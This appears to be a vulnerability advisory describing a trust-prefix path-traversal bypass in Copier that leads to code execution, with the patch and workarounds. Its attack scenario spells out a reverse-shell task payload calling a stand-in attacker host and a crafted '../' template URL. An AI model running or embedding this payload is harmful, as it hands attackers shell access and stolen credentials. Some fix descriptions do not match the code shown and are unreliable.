CVE-2026-53951: Trust-Prefix Bypass via Path Traversal leading to Remote Code Execution in Copier

Copier is a Python-based library and Command-Line Interface (CLI) application designed for rendering project templates. It supports automated lifecycle hooks, such as executing post-generation tasks, running migrations, and running custom Jinja extensions. To protect users from running untrusted scripts, Copier prompts for confirmation before executing these potentially hazardous functions. Users can suppress these prompts by configuring a list of trusted paths or repository URL prefixes.

In Copier versions 9.5.0 through 9.15.1, the trust-verification mechanism contains a logical defect. The application determines trust by checking if the user-supplied template path starts with a trusted prefix using a simple string comparison. However, when the template is actually fetched, the download engine performs path normalization to resolve relative path segments. This discrepancy in how the path is handled at different stages of the application lifecycle introduces a significant security boundary bypass.

An attacker can construct a malicious template URL that matches a trusted prefix textually but resolves to an attacker-controlled repository through directory traversal sequences. By distributing this crafted URL, the attacker bypasses the trust prompt, leading to silent command execution on the victim's local machine with the privileges of the running shell process.

The underlying security flaw stems from an validation-versus-execution asymmetry. The prefix verification logic is implemented in copier/_settings.py via raw, unnormalized string prefix checks. The system iterates over the defined trusted prefixes and evaluates whether the input path starts with any of them. The validation code behaves as follows:

$$\text{Validation Phase (Raw String Evaluation)} \neq \text{Fetching Phase (Canonical Normalization)}$$

During the verification phase, an input URL such as https://github.com/trusted-org/../attacker-org/malicious-repo.git matches the prefix https://github.com/trusted-org/ because the evaluation uses simple prefix checking without resolving the path. Consequently, the application marks the source repository as safe, bypassing the user-approval process.

When the application retrieves the template, the fetch component normalizes the path. For local paths, the resolution is performed via pathlib.Path.resolve(), which resolves symbolic links and collapses relative segments. For remote URLs, the underlying fetch wrapper rumdl processes the remote target, removing dot-segments in accordance with RFC 3986 section 5.2.4. This results in the client fetching from https://github.com/attacker-org/malicious-repo.git instead of the trusted repository.

This workflow demonstrates that the sanitization process is deferred until after the access control decision has been made, presenting a classic path traversal bypass (CWE-22) that results in downstream code execution (CWE-94).

To resolve the path traversal flaw, the underlying transport library rumdl was upgraded from version 0.1.91 to 0.2.5 to enforce strict URL validation and path-segment resolution prior to string verification.

Additionally, multiple adjacent code-level issues were resolved in Copier version 9.15.2 to secure the application. In copier/_tools.py, a parsing flaw in the boolean-casting routine allowed whitespace-only strings to evaluate as truthy, which triggered automated tasks incorrectly. The patch forces string trimming and evaluates blank strings as falsy:

# File: copier/_tools.py
# Before the patch, any non-empty string was evaluated as True.
# After the patch, whitespace is removed and empty strings resolve to False.
 
def cast_to_bool(value: Any) -> bool:
    if isinstance(value, bool):
        return value
    with suppress(AttributeError):
        lower = value.strip().lower()  # Added .strip() to remove leading/trailing whitespace
        if not lower:                  # Explicitly check for empty strings
            return False
        if lower in {"y", "yes", "t", "true", "on"}:
            return True
    return False

The application also updated the way template answers are parsed in copier/_main.py. The updated code restricts how answers paths are resolved, preventing template files located inside subdirectories from writing to unverified paths on the filesystem:

# File: copier/_main.py
# Hardens answers file handling to prevent directory traversal
 
def _render_parts(self, extra_context):
    # ... configuration and rendering logic
    for value in ctx.yield_iterable or ():
        new_context = {**extra_context, yield_name: value}
        rendered_part = self._render_string(part, extra_context=new_context)
        # Ensures only matching relative answer paths are written
        if str(self.answers_relpath) == rendered_part:
            yield self.answers_relpath, new_context
            continue

These modifications collectively block directory traversal vectors, ensuring that both local configurations and remote fetches are evaluated consistently.

An attack scenario requires that the target user has configured a trusted prefix directory or repository pattern in their Copier configurations. This configuration is stored in the user settings file:

# ~/.config/copier/settings.yaml
trusted_prefixes:
  - "https://github.com/trusted-organization/"

An attacker creates a repository named malicious-template on an external organization profile. The repository contains a configuration file copier.yml configured to trigger tasks upon completion:

# copier.yml inside the malicious template
_tasks:
  - command: python3 -c "import os, socket, subprocess; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(('attacker-controlled-host', 4444)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); p=subprocess.call(['/bin/sh', '-i'])"

The attacker induces the victim to run the template generation command with a crafted URL containing traversal components:

copier copy "https://github.com/trusted-organization/../attacker-organization/malicious-template.git" ./destination

During execution, the prefix evaluation module checks if the string starts with https://github.com/trusted-organization/. Since the condition is satisfied, the application bypasses the interactive security prompt. The fetching module then resolves the dot-segments and retrieves the malicious template, which immediately runs the reverse shell payload with the privileges of the active local user.

This vulnerability is classified as High severity, with a CVSS v4.0 score of 8.8. The score reflects high confidentiality, integrity, and availability impacts on both the local environment and downstream systems due to full command execution.

The primary vector is local execution through a remote-fetched template. Although exploitation requires the victim to run the command, the absence of any warning prompt represents a significant security failure in trusted environments.

The attack enables full shell control. If the user running the command has administrative or access permissions to cloud providers, source control management APIs, or production databases, the attacker can leverage the compromised environment to access credentials, exfiltrate private codebases, or compromise continuous integration and deployment pipelines.

The primary remediation strategy is upgrading Copier to version 9.15.2 or later. This upgrade addresses the directory traversal vulnerability within the dependency framework and enforces correct path validation.

In environments where upgrading is not immediately possible, security teams can implement operational workarounds to eliminate the attack vector. Users should remove or disable the trusted_prefixes entry inside their global settings file, which forces Copier to prompt for authorization on every execution:

# ~/.config/copier/settings.yaml
# Disable trusted prefixes to enforce user prompts for all tasks
trusted_prefixes: []

Additionally, automated infrastructure workflows should avoid running Copier with configuration-based trust assumptions. Templates should be explicitly pinned to specific cryptographic commit hashes within controlled, private container registries.